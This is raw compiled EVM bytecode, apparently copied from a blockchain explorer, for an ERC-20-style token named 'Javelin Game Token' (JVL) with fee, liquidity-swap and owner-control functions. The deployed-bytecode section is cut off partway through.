00160a01b0381165f9081525f80516020620045fb83398151915260205260409020620007ed9062000883565b50565b6001600160a01b0381165f9081525f80516020620045fb833981519152602052604090206200081f8162000892565b6200082a81620008a7565b5050565b6001600160a01b0381165f9081525f80516020620045fb83398151915260205260409020620007ed90620008a7565b6001600160a01b03165f9081525f80516020620045fb8339815191526020526040902090565b620007ed81600a6001620008b1565b620008a181600e6001620008b1565b620007ed815b620007ed81600b60015b80620008cc578254600160ff84161b191661ffff16620008db565b825461ffff16600160ff84161b175b835461ffff191661ffff91909116179092555050565b82600381019282156200093c579160200282015b828111156200093c57825182546001600160a01b0319166001600160a01b0390911617825560209092019160019091019062000905565b506200094a9291506200094e565b5090565b5b808211156200094a575f81556001016200094f565b80516001600160a01b03811681146200097b575f80fd5b919050565b5f805f6060848603121562000993575f80fd5b6200099e8462000964565b9250620009ae6020850162000964565b9150620009be6040850162000964565b90509250925092565b6001600160601b03818116838216019080821115620009f457634e487b7160e01b5f52601160045260245ffd5b5092915050565b60805160a05160c05160e0516101005161012051610140516101605161018051613b4262000a995f395f6103ae01525f81816103f3015281816113140152818161137e015281816113f80152818161148701528181612c0d01528181612d4b01526130f901525f818161028f015261100001525f610a3e01525f610b1201525f610aba01525f610f5b01525f610a9201525f610f080152613b425ff3fe60806040526004361061024c575f3560e01c806370a0823111610134578063a457c2d7116100b3578063d0e30db011610078578063d0e30db01461026b578063d505accf14610771578063dd62ed3e14610790578063e06174e4146107af578063f2fde38b146107d0578063f332b1ae146107ef575f80fd5b8063a457c2d7146106ed578063a9059cbb1461070c578063a965a51b1461072b578063c3342e5614610733578063cda4c40814610752575f80fd5b806384b0196e116100f957806384b0196e146106605780638cd92b0a146106875780638da5cb5b146106a657806395d89b41146106ba5780639e8c708e146106ce575f80fd5b806370a08231146105db578063715018a6146105fa57806373b9aa911461060e5780637c0f1ee71461062d5780637ecebe0014610641575f80fd5b806339509351116101cb578063573fb1ba11610190578063573fb1ba146104d157806359a945e9146104f05780635dab2420146105045780636cb077721461057e5780636d84249b1461059d5780636e2ad758146105bc575f80fd5b8063395093511461044157806341e00bb91461046057806342966c68146104745780634a97c9c0146104935780634c2babef146104b2575f80fd5b8063307aebc911610211578063307aebc91461035657806330adf81f1461036a578063313ce5671461039d57806332fe7b26146103e25780633644e5151461042d575f80fd5b80630614117a1461025757806306fdde031461026d578063095ea7b3146102e657806318160ddd1461031557806323b872dd14610337575f80fd5b3661025357005b5f80fd5b348015610262575f80fd5b5061026b610803565b005b348015610278575f80fd5b50604080516080810182525f8082529181018281527f0000000000000000000000000000000000000000000000000000000000000000601f830152815182016020018051605f84015283905251606090820101919091525b6040516102dd9190613380565b60405180910390f35b3480156102f1575f80fd5b506103056103003660046133a6565b6109ae565b60405190151581526020016102dd565b348015610320575f80fd5b506103296109c4565b6040519081526020016102dd565b348015610342575f80fd5b506103056103513660046133d0565b6109e6565b348015610361575f80fd5b50610305610a1f565b348015610375575f80fd5b506103297f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c981565b3480156103a8575f80fd5b506103d07f000000000000000000000000000000000000000000000000000000000000000081565b60405160ff90911681526020016102dd565b3480156103ed575f80fd5b506104157f000000000000000000000000000000000000000000000000000000000000000081565b6040516001600160a01b0390911681526020016102dd565b348015610438575f80fd5b50610329610a3b565b34801561044c575f80fd5b5061030561045b3660046133a6565b610b34565b34801561046b575f80fd5b5061026b610b5f565b34801561047f575f80fd5b5061026b61048e36600461340e565b610c2a565b34801561049e575f80fd5b506103056104ad36600461343b565b610c37565b3480156104bd575f80fd5b506103056104cc36600461346e565b610c4b565b3480156104dc575f80fd5b506103296104eb36600461340e565b610c5a565b3480156104fb575f80fd5b5061026b610d50565b34801561050f575f80fd5b50610518610d81565b6040516102dd9190815161ffff16815260208083015167ffffffffffffffff16908201526040808301516001600160501b0316908201526060808301516001600160601b0316908201526080918201516001600160a01b03169181019190915260a00190565b348015610589575f80fd5b506103056105983660046134d5565b610db4565b3480156105a8575f80fd5b506103056105b7366004613564565b610dbe565b3480156105c7575f80fd5b506103056105d636600461357d565b610dcc565b3480156105e6575f80fd5b506103296105f53660046135a3565b610ddf565b348015610605575f80fd5b5061026b610e09565b348015610619575f80fd5b506105186106283660046135a3565b610e1c565b348015610638575f80fd5b5061026b610ec7565b34801561064c575f80fd5b5061032961065b3660046135a3565b610ed0565b34801561066b575f80fd5b50610674610efa565b6040516102dd97969594939291906135be565b348015610692575f80fd5b5061026b6106a1366004613662565b610fb0565b3480156106b1575f80fd5b50610415610fcf565b3480156106c5575f80fd5b506102d0610fea565b3480156106d9575f80fd5b5061026b6106e83660046135a3565b611047565b3480156106f8575f80fd5b506103056107073660046133a6565b611252565b348015610717575f80fd5b506103056107263660046133a6565b6112b3565b61026b6112c8565b34801561073e575f80fd5b5061030561074d36600461368c565b6115f0565b34801561075d575f80fd5b5061030561076c3660046136b1565b611602565b34801561077c575f80fd5b5061026b61078b3660046136e3565b61161f565b34801561079b575f80fd5b506103296107aa36600461374c565b6117e1565b3480156107ba575f80fd5b506107c36117ec565b6040516102dd91906137ae565b3480156107db575f80fd5b5061026b6107ea3660046135a3565b6118f6565b3480156107fa575f80fd5b5061026b611930565b5f61080c611958565b60408051610180810182526003838101805460ff8116845261010080820461ffff908116602087015263010000008304811686880152600160281b83048116606080880191909152600160381b840482166080880152600160481b8404821660a0880152600160581b8404821660c0880152600160681b8404821660e0880152600160781b8404821692870192909252600160881b830416610120860152600160981b90910462ffffff1661014085015284519081019485905292949093610160860193926004909201919082845b81546001600160a01b031681526001909101906020018083116108db57505050919092525050506101608101515161014082015160405192935047925f926001600160a01b03169162ffffff1690849084818181858888f193505050503d805f8114610962576040519150601f19603f3d011682016040523d82523d5f602084013e610967565b606091505b50509050806109a95760405162461bcd60e51b8152602060048201526009602482015268151e0819985a5b195960ba1b60448201526064015b60405180910390fd5b505050565b5f6109ba33848461197c565b5060015b92915050565b5f6109cd611958565b60010154600160a01b90046001600160601b0316919050565b5f336109f181611989565b610a0057610a008582856119b4565b610a148585856001600160601b0316611a11565b9150505b9392505050565b5f610a28611958565b60020154600160501b900460ff16919050565b5f7f00000000000000000000000000000000000000000000000000000000000000004614610b0f57610b0a604080517f8b73c3c69bb8fe3d512ecc4cf759cc79239f7b179b0ffacaa9a75d522b39400f60208201527f0000000000000000000000000000000000000000000000000000000000000000918101919091527f000000000000000000000000000000000000000000000000000000000000000060608201524660808201523060a08201525f9060c00160405160208183030381529060405280519060200120905090565b905090565b507f000000000000000000000000000000000000000000000000000000000000000090565b5f33610b55818585610b468383611c21565b610b5091906138c9565b61197c565b5060019392505050565b610b67611c59565b5f610b70611958565b60030180549091506101f4908290600190610b95908490610100900461ffff166138dc565b92506101000a81548161ffff021916908361ffff1602179055506101f4815f0160038282829054906101000a900461ffff16610bd191906138dc565b92506101000a81548161ffff021916908361ffff1602179055506101f4815f0160058282829054906101000a900461ffff16610c0d91906138dc565b92506101000a81548161ffff021916908361ffff16021790555050565b610c343382611c8b565b50565b5f610a186001600160a01b03841683611d72565b5f6109be8262ffffff16611ddb565b5f80610c6533611e51565b8054909150600160501b90046001600160501b03165f03610d0a57610c88611958565b60020180546001600160501b0316905f610ca1836138fe565b82546001600160501b039182166101009390930a92830292820219169190911790915582549116600160501b0269ffffffffffffffffffff60501b1990911617815560018101546001600160a01b0316610d0a576001810180546001600160a01b031916331790555b80546040518491600160501b90046001600160501b03169033907f7d842667f749a5ac61180c742c62d621c78c94d961bfa60567a499ee28ffa4ab905f90a45090919050565b610d58611c59565b6001610d62611958565b6002018054911515600160501b0260ff60501b19909216919091179055565b6040805160a0810182525f80825260208201819052918101829052606081018290526080810191909152610b0a33610e1c565b5f6109be82611e79565b5f6109be8261ffff16611ef7565b5f6109be826001600160501b0316611f6c565b5f610df2826001600160a01b0316611e51565b54600160a01b90046001600160601b031692915050565b610e11611c59565b610e1a5f612084565b565b6040805160a0810182525f80825260208201819052918101829052606081018290526080810191909152610e58826001600160a01b0316611e51565b6040805160a081018252825461ffff8116825262010000810467ffffffffffffffff166020830152600160501b81046001600160501b031692820192909252600160a01b9091046001600160601b031660608201526001909101546001600160a01b0316608082015292915050565b610e1a30611047565b5f610ee3826001600160a01b0316611e51565b5462010000900467ffffffffffffffff1692915050565b5f6060805f805f6060610f4c7f000000000000000000000000000000000000000000000000000000000000000060606040519050604081016040525f815281601f8201525f8151602083010152919050565b6040805180820182525f8082527f0000000000000000000000000000000000000000000000000000000000000000601f8301528151602090830181018290528351828152908101909352600f60f81b9b939a50909850469750309650945092509050565b610fb8611c59565b610fcb6001600160a01b038316826120e2565b5050565b5f610fd8611958565b600101546001600160a01b0316919050565b604080516080810182525f8082529181018281527f0000000000000000000000000000000000000000000000000000000000000000601f830152815182016020018051605f840152839052805160609083018101939093526109be565b5f611050611958565b60408051610180810182526003838101805460ff8116845261010080820461ffff908116602087015263010000008304811686880152600160281b83048116606080880191909152600160381b840482166080880152600160481b8404821660a0880152600160581b8404821660c0880152600160681b8404821660e0880152600160781b8404821692870192909252600160881b830416610120860152600160981b90910462ffffff1661014085015284519081019485905292949093610160860193926004909201919082845b81546001600160a01b0316815260019091019060200180831161111f575050509190925250506040516370a0823160e01b81523060048201529192505f916001600160a01b03851691506370a0823190602401602060405180830381865afa15801561118d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111b19190613923565b9050826001600160a01b031663a9059cbb8361016001515f600381106111d9576111d96138a1565b60200201516040516001600160e01b031960e084901b1681526001600160a01b039091166004820152602481018490526044016020604051808303815f875af1158015611228573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061124c919061393a565b50505050565b5f338161125f8286611c21565b90508381101561129b57604051637c7036d960e11b81526001600160a01b038616600482015260248101829052604481018590526064016109a0565b6112a8828686840361197c565b506001949350505050565b5f610b553384846001600160601b0316611a11565b60016112d2611958565b6002018054911515600160581b0260ff60581b199092169190911790556112f7611c59565b5f611300611958565b90505f61130c30610ddf565b905061133b307f00000000000000000000000000000000000000000000000000000000000000005f195f61211a565b61134830305f195f61211a565b60405163f305d71960e01b81523060048201819052602482018390525f60448301819052606483015260848201524260a48201527f00000000000000000000000000000000000000000000000000000000000000006001600160a01b03169063f305d71990349060c40160606040518083038185885af11580156113ce573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906113f39190613959565b5050507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611452573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906114769190613984565b6001600160a01b031663e6a43905307f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156114e1573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115059190613984565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa15801561154e573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906115729190613984565b82546001600160a01b0319166001600160a01b03919091169081178355611598906121a5565b5081546115ad906001600160a01b03166122a8565b81546115c69030906001600160a01b03165f195f61211a565b50505f6115d1611958565b6002018054911515600160581b0260ff60581b19909216919091179055565b5f6109be8265ffffffffffff166122c2565b5f6116176001600160a01b03851684846123ae565b949350505050565b834211156116405760405163068568f360e21b815260040160405180910390fd5b5f60016116c67f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c98a8a8a6116738361244b565b6040805160208101969096526001600160a01b0394851690860152929091166060840152608083015260a082015260c0810188905260e001604051602081830303815290604052805190602001206124c5565b604080515f8152602081018083529290925260ff871690820152606081018590526080810184905260a0016020604051602081039080840390855afa158015611711573d5f803e3d5ffd5b5050604051601f1901519150506001600160a01b03811615806117465750876001600160a01b0316816001600160a01b031614155b1561176457604051632057875960e21b815260040160405180910390fd5b8561176d611958565b6001600160a01b039283165f9081526009909101602090815260408083208b8616808552925291829020929092555190918916907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906117d09089815260200190565b60405180910390a350505050505050565b5f610a188383611c21565b6117f46132b5565b6117fc611958565b60408051610180810182526003838101805460ff8116845261010080820461ffff908116602087015263010000008304811686880152600160281b83048116606080880191909152600160381b840482166080880152600160481b8404821660a0880152600160581b8404821660c0880152600160681b8404821660e0880152600160781b8404821692870192909252600160881b830416610120860152600160981b90910462ffffff1661014085015284519081019485905292949093610160860193926004909201919082845b81546001600160a01b031681526001909101906020018083116118cb57505050505081525050905090565b6118fe611c59565b6001600160a01b03811661192757604051631e4fbdf760e01b81525f60048201526024016109a0565b610c3481612084565b611938611c59565b5f611941611958565b600301805460ff191660ff92909216919091179055565b7fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892490565b6109a9838383600161211a565b5f61199c826001600160a01b031661250b565b806109be57506109be826001600160a01b031661258f565b5f6119bf8484611c21565b90505f19811461124c5781811015611a0357604051630c95cf2760e11b81526001600160a01b038416600482015260248101829052604481018390526064016109a0565b61124c84848484035f61211a565b5f6001600160a01b038416611a3b576040516313053d9360e21b81525f60048201526024016109a0565b6001600160a01b038316611a6457604051639cfea58360e01b81525f60048201526024016109a0565b5f611a6d611958565b6001600160a01b038681165f9081526007830160205260408082208884168352912060018201549394509092909116611ab457611ab2876001600160a01b03166121a5565b505b60018101546001600160a01b0316611ada57611ad8866001600160a01b03166121a5565b505b6040805160a08082018352845461ffff808216845267ffffffffffffffff6201000080840482166020808801919091526001600160501b03600160501b8087048216898b01526001600160601b03600160a01b9788900481166060808c01919091526001808f01546001600160a01b039081166080808f01919091528e519c8d018f528f549a8b168d52978a04909816958b01959095529187049092169988019990995294909304909316958401959095528501549093169281019290925260028501545f9283928392611bbd928992918c9060ff600160581b90910416612613565b925092509250825f03611be457611bd585858a612976565b60019650505050505050610a18565b611bf785611bf130611e51565b85612976565b8015611c0657611c0681612a6a565b611c11858584612976565b5060019998505050505050505050565b5f611c2a611958565b6001600160a01b039384165f908152600991909101602090815260408083209490951682529290925250205490565b33611c62610fcf565b6001600160a01b031614610e1a5760405163118cdaa760e01b81523360048201526024016109a0565b5f611c9e836001600160a01b0316611e51565b80549091506001600160601b03600160a01b90910481169083161115611cc2575f80fd5b80546001600160601b03600160a01b8083048216859003909116026001600160a01b0390911617815581611cf4611958565b60010180546001600160601b03600160a01b808304821694909403169092026001600160a01b039283161790556040515f918516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611d659086906001600160601b0391909116815260200190565b60405180910390a3505050565b335f9081525f80516020613aed8339815191526020819052604082205461ffff811690614000811661800090911617156112a857620100008410611db4575f80fd5b5f858152602083905260409020805461ffff191661ffff8616179055506001949350505050565b335f9081525f80516020613aed833981519152602081905260408220545f80516020613acd833981519152919061ffff811690614000811661800090911617156112a85762e4e1c18510611e2d575f80fd5b825461ffff60981b1916609886901b61ffff60981b16178355506001949350505050565b6001600160a01b0381165f9081525f80516020613aed833981519152602052604081206109be565b335f9081525f80516020613aed833981519152602081905260408220545f80516020613acd833981519152919061ffff811690614000811661800090911617156112a857602085015160408601516060870151801582158415171715611edd575f80fd5b600186015560028501556003840155506001949350505050565b335f9081525f80516020613aed833981519152602081905260408220545f80516020613acd833981519152919061ffff811690614000811661800090911617156112a8576127118510611f48575f80fd5b825461ffff60881b1916608886901b61ffff60881b16178355506001949350505050565b335f9081525f80516020613aed833981519152602081905260408220545f80516020613acd833981519152919061ffff811690614000811661800090911617156112a8578460401c61ffff8660301c1661ffff8760201c1661ffff8860101c1661ffff89168082848688010101016127108114611fe7575f80fd5b5087545f5b60058110156120715761ffff603860108302011b5f82801561202d5760018114612035576002811461203d5760038114612045576004811461204d57612051565b899150612051565b889150612051565b879150612051565b869150612051565b8591505b508181601085026038011b16821985161793505050600181019050611fec565b5088555050505050506001949350505050565b5f61208d611958565b6001810180546001600160a01b038581166001600160a01b031983168117909355604051939450169182907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0905f90a3505050565b610fcb816120f8846001600160a01b0316611e51565b90815461ffff198116600160ff939093169290921b61ffff9182161816179055565b81612123611958565b6001600160a01b038087165f9081526009909201602090815260408084209288168452919052902055801561124c57826001600160a01b0316846001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161219791815260200190565b60405180910390a350505050565b6001600160a01b0381165f9081525f80516020613aed833981519152602052604081207fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888926805491927fcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892492612221906001600160501b03166138fe565b82546001600160501b039182166101009390930a83810290830219909116179092558354600160501b91820269ffffffffffffffffffff60501b19909116178085556001850180546001600160a01b039097166001600160a01b031997881681179091559190049091165f9081526008909201602052604090912080549093161790915590565b610c346122bd826001600160a01b0316611e51565b6131a2565b335f9081525f80516020613aed833981519152602081905260408220545f80516020613acd833981519152919061ffff811690614000811661800090911617156112a8578460201c61ffff8660101c1661ffff87166103e98110156103e98310156103e9851015171715612334575f80fd5b85545f5b600381101561239d5761ffff600860108302011b5f828015612369576001811461237157600281146123795761237d565b87915061237d565b86915061237d565b8591505b508181601085026008011b16821985161793505050600181019050612338565b508655505050506001949350505050565b335f9081525f80516020613aed8339815191526020819052604082205461ffff8116906140008116618000909116176123e5575f80fd5b50600191505b82841015612443575f6123fe86866131af565b9050612412816001600160a01b03166121a5565b506001600160a01b0381165f908152602083905260409020612437906009600161321a565b506001909301926123eb565b509392505050565b5f8061245f836001600160a01b0316611e51565b805490915067ffffffffffffffff6201000090910481161061248d57805469ffffffffffffffff0000191681555b805469ffffffffffffffff0000198116620100009182900467ffffffffffffffff908116600181019091169092021790915592915050565b5f6124ce610a3b565b60405161190160f01b6020820152602281019190915260428101839052606201604051602081830303815290604052805190602001209050919050565b5f6109be612521836001600160a01b0316611e51565b6040805160a081018252825461ffff8116825262010000810467ffffffffffffffff166020830152600160501b81046001600160501b031692820192909252600160a01b9091046001600160601b031660608201526001909101546001600160a01b03166080820152613258565b5f6109be6125a5836001600160a01b0316611e51565b6040805160a081018252825461ffff8116825262010000810467ffffffffffffffff166020830152600160501b81046001600160501b031692820192909252600160a01b9091046001600160601b031660608201526001909101546001600160a01b0316608082015261326a565b5f805f61262e8780515f906001600b9190911c8116146109be565b8061264c575061264c8680515f906001600b9190911c8116146109be565b806126545750835b1561266657505f91508390508161296b565b865160091c600190811614806126835750855160091c6001908116145b156126c5576002880154600160501b900460ff166126c5576127106109c4860260028a01805460ff60501b1916600160501b179055049250828503915061296b565b6002880154600160501b900460ff166126f157604051638a716db160e01b815260040160405180910390fd5b604080516101808101825260038a8101805460ff8116845261010080820461ffff908116602087015263010000008304811686880152600160281b83048116606080880191909152600160381b840482166080880152600160481b8404821660a0880152600160581b8404821660c0880152600160681b8404821660e0880152600160781b8404821692870192909252600160881b830416610120860152600160981b90910462ffffff166101408501528451908101948590525f94919261016085019260048f01919082845b81546001600160a01b031681526001909101906020018083116127be5750505050508152505090505f806127fc835160808082161491607f90911690565b915091506128098961327c565b6128b2576127106128198b61327c565b61283b576128278b8b61328e565b612835578360600151612841565b5f612841565b83602001515b61ffff168902816128545761285461399f565b049550858803945081156128ad5760018b01545f906064906001600160601b03600160a01b909104811660ff85160216046001600160601b0316905080868b606001516001600160601b03160111156128ab575f80fd5b505b612967565b60408301516127109061ffff1689020495505f83610120015161ffff16116128f557856128de30611e51565b54600160a01b90046001600160601b03160161292a565b61012083015160018c0154612710916001600160601b03600160a01b909204821661ffff919091160216046001600160601b03165b9350858803945081156129675760018b015460646001600160601b03600160a01b909204821660ff8416028216041680891115612965575f80fd5b505b5050505b955095509592505050565b825481906001600160601b03600160a01b909104811690821611156129df576001840154845460405163db42144d60e01b81526001600160a01b039092166004830152600160a01b90046001600160601b039081166024830152821660448201526064016109a0565b83546001600160601b03600160a01b8083048216849003821681026001600160a01b0393841617875585548181048316850190921602908216178455600184810154908601546040519183169216907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906121979085906001600160601b0391909116815260200190565b6001612a74611958565b6002018054911515600160581b0260ff60581b199092169190911790555f612a9a611958565b60408051610180810182526003838101805460ff8116845261010080820461ffff908116602087015263010000008304811686880152600160281b83048116606080880191909152600160381b840482166080880152600160481b8404821660a0880152600160581b8404821660c0880152600160681b8404821660e0880152600160781b8404821692870192909252600160881b830416610120860152600160981b90910462ffffff1661014085015284519081019485905292949093610160860193926004909201919082845b81546001600160a01b03168152600190910190602001808311612b695750505050508152505090505f600267ffffffffffffffff811115612bac57612bac613490565b604051908082528060200260200182016040528015612bd5578160200160208202803683370190505b50905030815f81518110612beb57612beb6138a1565b60200260200101906001600160a01b031690816001600160a01b0316815250507f00000000000000000000000000000000000000000000000000000000000000006001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612c67573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190612c8b9190613984565b81600181518110612c9e57612c9e6138a1565b6001600160a01b039092166020928302919091019091015261010082015183905f906127109061ffff1615612d325760028161ffff1686610100015161ffff1685026001600160601b031681612cf657612cf661399f565b046001600160601b031681612d0d57612d0d61399f565b0491508183039250600285610100015161ffff1681612d2e57612d2e61399f565b0490035b6040516318cbafe560e01b815247906001600160a01b037f000000000000000000000000000000000000000000000000000000000000000016906318cbafe590612d889087905f908a90309042906004016139b3565b5f604051808303815f875af1158015612da3573d5f803e3d5ffd5b505050506040513d5f823e601f3d908101601f19168201604052612dca9190810190613a2b565b505f8082470390505f805f805f8c60e0015161ffff161115612e10578761ffff168c60e0015161ffff1686026001600160601b031681612e0c57612e0c61399f565b0493505b60c08c015161ffff1615612e48578761ffff168c60c0015161ffff1686026001600160601b031681612e4457612e4461399f565b0492505b60a08c015161ffff1615612e80578761ffff168c60a0015161ffff1686026001600160601b031681612e7c57612e7c61399f565b0491505b60808c015161ffff1615612eb8578761ffff168c6080015161ffff1686026001600160601b031681612eb457612eb461399f565b0490505b6001600160601b03841615612ed157612ed13085611c8b565b6001600160601b03811615612f51576101608c0151516101408d01516040516001600160a01b039092169162ffffff909116906001600160601b038416905f818181858888f193505050503d805f8114612f46576040519150601f19603f3d011682016040523d82523d5f602084013e612f4b565b606091505b50909650505b6001600160601b03821615612fd5576101608c0151600160200201516001600160a01b0316826001600160601b03168d610140015162ffffff16906040515f60405180830381858888f193505050503d805f8114612fca576040519150601f19603f3d011682016040523d82523d5f602084013e612fcf565b606091505b50909650505b6001600160601b03831615613059576101608c0151600260200201516001600160a01b0316836001600160601b03168d610140015162ffffff16906040515f60405180830381858888f193505050503d805f811461304e576040519150601f19603f3d011682016040523d82523d5f602084013e613053565b606091505b50909650505b6001600160601b0389161561316d575f60028961ffff168e610100015161ffff1688026001600160601b0316816130925761309261399f565b046001600160601b0316816130a9576130a961399f565b60405163f305d71960e01b815230600482018190526001600160601b038e811660248401525f60448401819052606484015260848301919091524260a48301529290910492506001600160a01b037f0000000000000000000000000000000000000000000000000000000000000000169163f305d719919084169060c40160606040518083038185885af1158015613143573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906131689190613959565b505050505b5050505050505050505050505f613182611958565b6002018054911515600160581b0260ff60581b1990921691909117905550565b610c3481600a600161321a565b5f607f82116131da57825f526094600b5360d6600a5381821560071b17602053506017600a206109be565b60085b82811c156131ed576008016131dd565b60031c828152600884901b5f5260808101601f536094600a538060d6016009536017016009209392505050565b80613233578254600160ff84161b191661ffff16613242565b825461ffff16600160ff84161b175b835461ffff191661ffff91909116179092555050565b80515f90600d1c6001908116146109be565b80515f90600e1c6001908116146109be565b80515f90600a1c6001908116146109be565b5f613298836132a3565b80610a185750610a18825b80515f9060091c6001908116146109be565b60408051610180810182525f80825260208201819052918101829052606081018290526080810182905260a0810182905260c0810182905260e0810182905261010081018290526101208101829052610140810191909152610160810161331a61331f565b905290565b60405180606001604052806003906020820280368337509192915050565b5f81518084525f5b8181101561336157602081850181015186830182015201613345565b505f602082860101526020601f19601f83011685010191505092915050565b602081525f610a18602083018461333d565b6001600160a01b0381168114610c34575f80fd5b5f80604083850312156133b7575f80fd5b82356133c281613392565b946020939093013593505050565b5f805f606084860312156133e2575f80fd5b83356133ed81613392565b925060208401356133fd81613392565b929592945050506040919091013590565b5f6020828403121561341e575f80fd5b5035919050565b803561ffff81168114613436575f80fd5b919050565b5f806040838503121561344c575f80fd5b823561345781613392565b915061346560208401613425565b90509250929050565b5f6020828403121561347e575f80fd5b813562ffffff81168114610a18575f80fd5b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f1916810167ffffffffffffffff811182821017156134cd576134cd613490565b604052919050565b5f60208083850312156134e6575f80fd5b823567ffffffffffffffff808211156134fd575f80fd5b818501915085601f830112613510575f80fd5b81358181111561352257613522613490565b613534601f8201601f191685016134a4565b91508082528684828501011115613549575f80fd5b80848401858401375f90820190930192909252509392505050565b5f60208284031215613574575f80fd5b610a1882613425565b5f6020828403121561358d575f80fd5b81356001600160501b0381168114610a18575f80fd5b5f602082840312156135b3575f80fd5b8135610a1881613392565b60ff60f81b881681525f602060e0818401526135dd60e084018a61333d565b83810360408501526135ef818a61333d565b606085018990526001600160a01b038816608086015260a0850187905284810360c086015285518082528387019250908301905f5b8181101561364057835183529284019291840191600101613624565b50909c9b505050505050505050505050565b803560ff81168114613436575f80fd5b5f8060408385031215613673575f80fd5b823561367e81613392565b915061346560208401613652565b5f6020828403121561369c575f80fd5b813565ffffffffffff81168114610a18575f80fd5b5f805f606084860312156136c3575f80fd5b83356136ce81613392565b95602085013595506040909401359392505050565b5f805f805f805f60e0888a0312156136f9575f80fd5b873561370481613392565b9650602088013561371481613392565b9550604088013594506060880135935061373060808901613652565b925060a0880135915060c0880135905092959891949750929550565b5f806040838503121561375d575f80fd5b823561376881613392565b9150602083013561377881613392565b809150509250929050565b805f5b600381101561124c5781516001600160a01b0316845260209384019390910190600101613786565b815160ff1681526101c0810160208301516137cf602084018261ffff169052565b5060408301516137e5604084018261ffff169052565b5060608301516137fb606084018261ffff169052565b506080830151613811608084018261ffff169052565b5060a083015161382760a084018261ffff169052565b5060c083015161383d60c084018261ffff169052565b5060e083015161385360e084018261ffff169052565b506101008381015161ffff9081169184019190915261012080850151909116908301526101408084015162ffffff16908301526101608084015161389982850182613783565b505092915050565b634e487b7160e01b5f52603260045260245ffd5b634e487b7160e01b5f52601160045260245ffd5b808201808211156109be576109be6138b5565b61ffff8281168282160390808211156138f7576138f76138b5565b5092915050565b5f6001600160501b03808316818103613919576139196138b5565b6001019392505050565b5f60208284031215613933575f80fd5b5051919050565b5f6020828403121561394a575f80fd5b81518015158114610a18575f80fd5b5f805f6060848603121561396b575f80fd5b8351925060208401519150604084015190509250925092565b5f60208284031215613994575f80fd5b8151610a1881613392565b634e487b7160e01b5f52601260045260245ffd5b5f60a082016001600160601b03881683526020878185015260a0604085015281875180845260c08601915082890193505f5b81811015613a0a5784516001600160a01b0316835293830193918301916001016139e5565b50506001600160a01b03969096166060850152505050608001529392505050565b5f6020808385031215613a3c575f80fd5b825167ffffffffffffffff80821115613a53575f80fd5b818501915085601f830112613a66575f80fd5b815181811115613a7857613a78613490565b8060051b9150613a898483016134a4565b8181529183018401918481019088841115613aa2575f80fd5b938501935b83851015613ac057845182529385019390850190613aa7565b9897505050505050505056fecf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888927cf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892ba2646970667358221220902005d9b49e27628ca25c8bf1d4f5a3e1562c1e2266a2ce7fbf1d588857dc8864736f6c63430008150033cf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888925cf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a0087188892bcf0f5a17ff929f1db01c46f651a261919d57ba1ff3775e726349a00871888924000000000000000000000000753ba0e808a7aaba8027fbaafd7f0d82d317d62500000000000000000000000029fbc48210250a1487ff361b004785151097542400000000000000000000000029fbc48210250a1487ff361b0047851510975424

Deployed Bytecode

0x60806040526004361061024c575f3560e01c806370a0823111610134578063a457c2d7116100b3578063d0e30db011610078578063d0e30db01461026b578063d505accf14610771578063dd62ed3e14610790578063e06174e4146107af578063f2fde38b146107d0578063f332b1ae146107ef575f80fd5b8063a457c2d7146106ed578063a9059cbb1461070c578063a965a51b1461072b578063c3342e5614610733578063cda4c40814610752575f80fd5b806384b0196e116100f957806384b0196e146106605780638cd92b0a146106875780638da5cb5b146106a657806395d89b41146106ba5780639e8c708e146106ce575f80fd5b806370a08231146105db578063715018a6146105fa57806373b9aa911461060e5780637c0f1ee71461062d5780637ecebe0014610641575f80fd5b806339509351116101cb578063573fb1ba11610190578063573fb1ba146104d157806359a945e9146104f05780635dab2420146105045780636cb077721461057e5780636d84249b1461059d5780636e2ad758146105bc575f80fd5b8063395093511461044157806341e00bb91461046057806342966c68146104745780634a97c9c0146104935780634c2babef146104b2575f80fd5b8063307aebc911610211578063307aebc91461035657806330adf81f1461036a578063313ce5671461039d57806332fe7b26146103e25780633644e5151461042d575f80fd5b80630614117a1461025757806306fdde031461026d578063095ea7b3146102e657806318160ddd1461031557806323b872dd14610337575f80fd5b3661025357005b5f80fd5b348015610262575f80fd5b5061026b610803565b005b348015610278575f80fd5b50604080516080810182525f8082529181018281527f124a6176656c696e2047616d6520546f6b656e034a564c000000000000000000601f830152815182016020018051605f84015283905251606090820101919091525b6040516102dd9190613380565b60405180910390f35b3480156102f1575f80fd5b506103056103003660046133a6565b6109ae565b60405190151581526020016102dd565b348015610320575f80fd5b506103296109c4565b6040519081526020016102dd565b348015610342575f8